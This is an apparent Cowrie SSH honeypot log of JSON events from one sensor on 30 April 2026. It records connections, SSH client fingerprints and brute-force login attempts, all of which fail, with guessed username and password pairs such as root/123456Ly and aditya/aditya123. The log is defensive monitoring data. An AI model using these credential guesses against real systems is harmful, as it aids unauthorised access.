{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:17.202370Z","src_ip":"117.247.23.131","session":"55891adfa6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ly","message":"login attempt [root/123456Ly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:20.226676Z","src_ip":"117.247.23.131","session":"55891adfa6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:22.127160Z","src_ip":"117.247.23.131","session":"55891adfa6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50212,"dst_ip":"159.203.135.109","dst_port":22,"session":"5768bb65991e","protocol":"ssh","message":"New connection: 159.203.92.129:50212 (159.203.135.109:22) [session: 5768bb65991e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:57.085117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:57.089746Z","src_ip":"159.203.92.129","session":"5768bb65991e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:57.094831Z","src_ip":"159.203.92.129","session":"5768bb65991e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activity_analyzer","password":"activity_analyzer","message":"login attempt [activity_analyzer/activity_analyzer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:57.110715Z","src_ip":"159.203.92.129","session":"5768bb65991e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:58.120740Z","src_ip":"159.203.92.129","session":"5768bb65991e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":45567,"dst_ip":"10.17.0.5","dst_port":22,"session":"004384539ed5","protocol":"ssh","message":"New connection: 20.193.141.133:45567 (10.17.0.5:22) [session: 004384539ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:15.750159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:15.754716Z","src_ip":"20.193.141.133","session":"004384539ed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:15.951024Z","src_ip":"20.193.141.133","session":"004384539ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@123","message":"login attempt [administrator/administrator@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:16.766749Z","src_ip":"20.193.141.133","session":"004384539ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:17.965746Z","src_ip":"20.193.141.133","session":"004384539ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43638,"dst_ip":"159.203.135.109","dst_port":22,"session":"88060d6807f6","protocol":"ssh","message":"New connection: 159.203.92.129:43638 (159.203.135.109:22) [session: 88060d6807f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:41.481260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:41.485444Z","src_ip":"159.203.92.129","session":"88060d6807f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:41.489807Z","src_ip":"159.203.92.129","session":"88060d6807f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activity_analyzer","password":"activity_analyzer123","message":"login attempt [activity_analyzer/activity_analyzer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:41.508779Z","src_ip":"159.203.92.129","session":"88060d6807f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:42.518321Z","src_ip":"159.203.92.129","session":"88060d6807f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":47906,"dst_ip":"159.203.135.109","dst_port":22,"session":"a895d2015269","protocol":"ssh","message":"New connection: 117.247.23.131:47906 (159.203.135.109:22) [session: a895d2015269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:59.646821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:08:59.651608Z","src_ip":"117.247.23.131","session":"a895d2015269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:00.414497Z","src_ip":"117.247.23.131","session":"a895d2015269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2016","message":"login attempt [sysadmin/sysadmin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:03.608468Z","src_ip":"117.247.23.131","session":"a895d2015269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:05.407238Z","src_ip":"117.247.23.131","session":"a895d2015269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":39831,"dst_ip":"10.17.0.5","dst_port":22,"session":"b760ff48b646","protocol":"ssh","message":"New connection: 213.209.159.159:39831 (10.17.0.5:22) [session: b760ff48b646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:10.025209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:10.029345Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:10.112847Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya","message":"login attempt [aditya/aditya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:10.522935Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya1","message":"login attempt [aditya/aditya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:11.608578Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya123","message":"login attempt [aditya/aditya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:12.693648Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya1234","message":"login attempt [aditya/aditya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:13.780987Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya12345","message":"login attempt [aditya/aditya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:14.866807Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:15.953362Z","src_ip":"213.209.159.159","session":"b760ff48b646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":21203,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd377d22157","protocol":"ssh","message":"New connection: 20.193.141.133:21203 (10.17.0.5:22) [session: cfd377d22157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:22.936198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:22.941513Z","src_ip":"20.193.141.133","session":"cfd377d22157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:23.125862Z","src_ip":"20.193.141.133","session":"cfd377d22157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"manager","message":"login attempt [administrator/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:23.893863Z","src_ip":"20.193.141.133","session":"cfd377d22157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:25.081453Z","src_ip":"20.193.141.133","session":"cfd377d22157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40684,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa28294a267","protocol":"ssh","message":"New connection: 159.203.92.129:40684 (159.203.135.109:22) [session: 3fa28294a267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:27.241693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:27.246228Z","src_ip":"159.203.92.129","session":"3fa28294a267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:27.253261Z","src_ip":"159.203.92.129","session":"3fa28294a267","protocol":"ssh"}
